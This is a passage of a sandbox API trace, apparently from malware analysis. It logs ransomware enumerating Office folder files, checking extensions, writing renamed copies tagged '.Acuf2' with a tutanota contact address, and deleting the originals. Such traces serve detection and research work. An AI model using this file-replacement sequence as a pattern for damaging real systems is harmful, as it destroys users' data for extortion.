	[0261.176] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0261.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63
	[0261.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63
	[0261.176] lstrlenW (lpString=".doc") returned 4
	[0261.176] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0261.176] lstrlenW (lpString=".docx") returned 5
	[0261.176] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0261.176] lstrlenW (lpString=".pdf") returned 4
	[0261.176] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0261.176] lstrlenW (lpString=".xls") returned 4
	[0261.176] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0261.176] lstrlenW (lpString=".xlsx") returned 5
	[0261.176] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0261.176] lstrlenW (lpString=".ppt") returned 4
	[0261.176] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0261.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63
	[0261.176] lstrlenW (lpString=".zip") returned 4
	[0261.176] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0261.176] lstrlenW (lpString=".rar") returned 4
	[0261.176] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0261.176] lstrlenW (lpString=".bz2") returned 4
	[0261.176] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0261.176] lstrlenW (lpString=".7z") returned 3
	[0261.176] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0261.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63
	[0261.363] lstrlenW (lpString=".dbf") returned 4
	[0261.363] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0261.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63
	[0261.363] lstrlenW (lpString=".1cd") returned 4
	[0261.363] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0261.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63
	[0261.363] lstrlenW (lpString=".jpg") returned 4
	[0261.363] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0261.364] lstrcmpiW (lpString1=".VSL", lpString2=".Acuf2") returned 1
	[0261.364] lstrlenW (lpString="FACILITY.VSL") returned 12
	[0261.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.385] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=81768) returned 1
	[0261.385] CloseHandle (hObject=0x330) returned 1
	[0261.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl")) returned 0x20
	[0261.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.385] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.385] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.386] GetLastError () returned 0x0
	[0261.386] ReadFile (in: hFile=0x330, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x13f68, lpOverlapped=0x0) returned 1
	[0261.389] WriteFile (in: hFile=0x334, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x13f70, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x13f70, lpOverlapped=0x0) returned 1
	[0261.391] ReadFile (in: hFile=0x330, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.391] WriteFile (in: hFile=0x334, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.391] SetEndOfFile (hFile=0x334) returned 1
	[0261.391] CloseHandle (hObject=0x334) returned 1
	[0261.391] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.391] SetEndOfFile (hFile=0x330) returned 1
	[0261.394] CloseHandle (hObject=0x330) returned 1
	[0261.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl")) returned 1
	[0261.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60
	[0261.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60
	[0261.395] lstrlenW (lpString=".doc") returned 4
	[0261.395] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0261.395] lstrlenW (lpString=".docx") returned 5
	[0261.395] lstrcmpiW (lpString1=".docx", lpString2="Y.VSL") returned -1
	[0261.395] lstrlenW (lpString=".pdf") returned 4
	[0261.395] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0261.395] lstrlenW (lpString=".xls") returned 4
	[0261.395] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0261.395] lstrlenW (lpString=".xlsx") returned 5
	[0261.395] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VSL") returned -1
	[0261.395] lstrlenW (lpString=".ppt") returned 4
	[0261.395] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0261.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60
	[0261.395] lstrlenW (lpString=".zip") returned 4
	[0261.395] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0261.395] lstrlenW (lpString=".rar") returned 4
	[0261.395] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0261.395] lstrlenW (lpString=".bz2") returned 4
	[0261.395] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0261.395] lstrlenW (lpString=".7z") returned 3
	[0261.396] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0261.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60
	[0261.396] lstrlenW (lpString=".dbf") returned 4
	[0261.396] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0261.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60
	[0261.396] lstrlenW (lpString=".1cd") returned 4
	[0261.396] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0261.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60
	[0261.396] lstrlenW (lpString=".jpg") returned 4
	[0261.396] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0261.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60
	[0261.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60
	[0261.396] lstrlenW (lpString=".doc") returned 4
	[0261.396] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0261.396] lstrlenW (lpString=".docx") returned 5
	[0261.396] lstrcmpiW (lpString1=".docx", lpString2="Y.VSL") returned -1
	[0261.396] lstrlenW (lpString=".pdf") returned 4
	[0261.396] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0261.396] lstrlenW (lpString=".xls") returned 4
	[0261.396] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0261.396] lstrlenW (lpString=".xlsx") returned 5
	[0261.396] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VSL") returned -1
	[0261.396] lstrlenW (lpString=".ppt") returned 4
	[0261.396] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0261.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60
	[0261.396] lstrlenW (lpString=".zip") returned 4
	[0261.396] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0261.396] lstrlenW (lpString=".rar") returned 4
	[0261.396] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0261.396] lstrlenW (lpString=".bz2") returned 4
	[0261.396] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0261.396] lstrlenW (lpString=".7z") returned 3
	[0261.397] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0261.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60
	[0261.397] lstrlenW (lpString=".dbf") returned 4
	[0261.397] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0261.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60
	[0261.397] lstrlenW (lpString=".1cd") returned 4
	[0261.397] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0261.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60
	[0261.397] lstrlenW (lpString=".jpg") returned 4
	[0261.397] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0261.397] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0261.397] lstrlenW (lpString="GANTT.VRD") returned 9
	[0261.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.398] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=2043) returned 1
	[0261.398] CloseHandle (hObject=0x330) returned 1
	[0261.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd")) returned 0x20
	[0261.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.398] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.398] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.399] GetLastError () returned 0x0
	[0261.399] ReadFile (in: hFile=0x330, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x7fb, lpOverlapped=0x0) returned 1
	[0261.400] WriteFile (in: hFile=0x334, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x800, lpOverlapped=0x0) returned 1
	[0261.401] ReadFile (in: hFile=0x330, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.401] WriteFile (in: hFile=0x334, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0261.401] SetEndOfFile (hFile=0x334) returned 1
	[0261.401] CloseHandle (hObject=0x334) returned 1
	[0261.401] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.401] SetEndOfFile (hFile=0x330) returned 1
	[0261.403] CloseHandle (hObject=0x330) returned 1
	[0261.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd")) returned 1
	[0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57
	[0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57
	[0261.404] lstrlenW (lpString=".doc") returned 4
	[0261.404] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0261.404] lstrlenW (lpString=".docx") returned 5
	[0261.404] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1
	[0261.404] lstrlenW (lpString=".pdf") returned 4
	[0261.404] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0261.404] lstrlenW (lpString=".xls") returned 4
	[0261.404] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0261.404] lstrlenW (lpString=".xlsx") returned 5
	[0261.404] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1
	[0261.404] lstrlenW (lpString=".ppt") returned 4
	[0261.404] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57
	[0261.404] lstrlenW (lpString=".zip") returned 4
	[0261.404] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0261.404] lstrlenW (lpString=".rar") returned 4
	[0261.404] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0261.404] lstrlenW (lpString=".bz2") returned 4
	[0261.404] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0261.405] lstrlenW (lpString=".7z") returned 3
	[0261.405] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0261.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57
	[0261.405] lstrlenW (lpString=".dbf") returned 4
	[0261.405] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0261.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57
	[0261.405] lstrlenW (lpString=".1cd") returned 4
	[0261.405] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0261.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57
	[0261.405] lstrlenW (lpString=".jpg") returned 4
	[0261.405] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0261.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57
	[0261.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57
	[0261.405] lstrlenW (lpString=".doc") returned 4
	[0261.405] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0261.405] lstrlenW (lpString=".docx") returned 5
	[0261.405] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1
	[0261.405] lstrlenW (lpString=".pdf") returned 4
	[0261.405] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0261.405] lstrlenW (lpString=".xls") returned 4
	[0261.405] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0261.405] lstrlenW (lpString=".xlsx") returned 5
	[0261.405] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1
	[0261.405] lstrlenW (lpString=".ppt") returned 4
	[0261.405] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0261.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57
	[0261.405] lstrlenW (lpString=".zip") returned 4
	[0261.405] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0261.405] lstrlenW (lpString=".rar") returned 4
	[0261.405] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0261.405] lstrlenW (lpString=".bz2") returned 4
	[0261.405] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0261.405] lstrlenW (lpString=".7z") returned 3
	[0261.406] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0261.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57
	[0261.406] lstrlenW (lpString=".dbf") returned 4
	[0261.406] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0261.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57
	[0261.406] lstrlenW (lpString=".1cd") returned 4
	[0261.406] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0261.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57
	[0261.406] lstrlenW (lpString=".jpg") returned 4
	[0261.406] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0261.406] lstrcmpiW (lpString1=".VSL", lpString2=".Acuf2") returned 1
	[0261.406] lstrlenW (lpString="GANTT.VSL") returned 9
	[0261.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.407] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=320880) returned 1
	[0261.407] CloseHandle (hObject=0x330) returned 1
	[0261.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl")) returned 0x20
	[0261.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.407] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.407] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.408] GetLastError () returned 0x0
	[0261.408] ReadFile (in: hFile=0x330, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x4e570, lpOverlapped=0x0) returned 1
	[0261.415] WriteFile (in: hFile=0x334, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x4e580, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x4e580, lpOverlapped=0x0) returned 1
	[0261.421] ReadFile (in: hFile=0x330, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.421] WriteFile (in: hFile=0x334, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0261.422] SetEndOfFile (hFile=0x334) returned 1
	[0261.422] CloseHandle (hObject=0x334) returned 1
	[0261.422] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.422] SetEndOfFile (hFile=0x330) returned 1
	[0261.624] CloseHandle (hObject=0x330) returned 1
	[0261.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl")) returned 1
	[0261.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57
	[0261.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57
	[0261.721] lstrlenW (lpString=".doc") returned 4
	[0261.722] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0261.722] lstrlenW (lpString=".docx") returned 5
	[0261.722] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1
	[0261.722] lstrlenW (lpString=".pdf") returned 4
	[0261.722] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0261.722] lstrlenW (lpString=".xls") returned 4
	[0261.722] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0261.722] lstrlenW (lpString=".xlsx") returned 5
	[0261.722] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1
	[0261.722] lstrlenW (lpString=".ppt") returned 4
	[0261.722] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0261.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57
	[0261.722] lstrlenW (lpString=".zip") returned 4
	[0261.722] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0261.722] lstrlenW (lpString=".rar") returned 4
	[0261.722] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0261.722] lstrlenW (lpString=".bz2") returned 4
	[0261.722] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0261.722] lstrlenW (lpString=".7z") returned 3
	[0261.722] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0261.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57
	[0261.722] lstrlenW (lpString=".dbf") returned 4
	[0261.722] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0261.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57
	[0261.722] lstrlenW (lpString=".1cd") returned 4
	[0261.722] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0261.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57
	[0261.723] lstrlenW (lpString=".jpg") returned 4
	[0261.723] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0261.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57
	[0261.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57
	[0261.723] lstrlenW (lpString=".doc") returned 4
	[0261.723] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0261.723] lstrlenW (lpString=".docx") returned 5
	[0261.723] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1
	[0261.723] lstrlenW (lpString=".pdf") returned 4
	[0261.723] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0261.723] lstrlenW (lpString=".xls") returned 4
	[0261.723] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0261.723] lstrlenW (lpString=".xlsx") returned 5
	[0261.723] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1
	[0261.723] lstrlenW (lpString=".ppt") returned 4
	[0261.723] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0261.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57
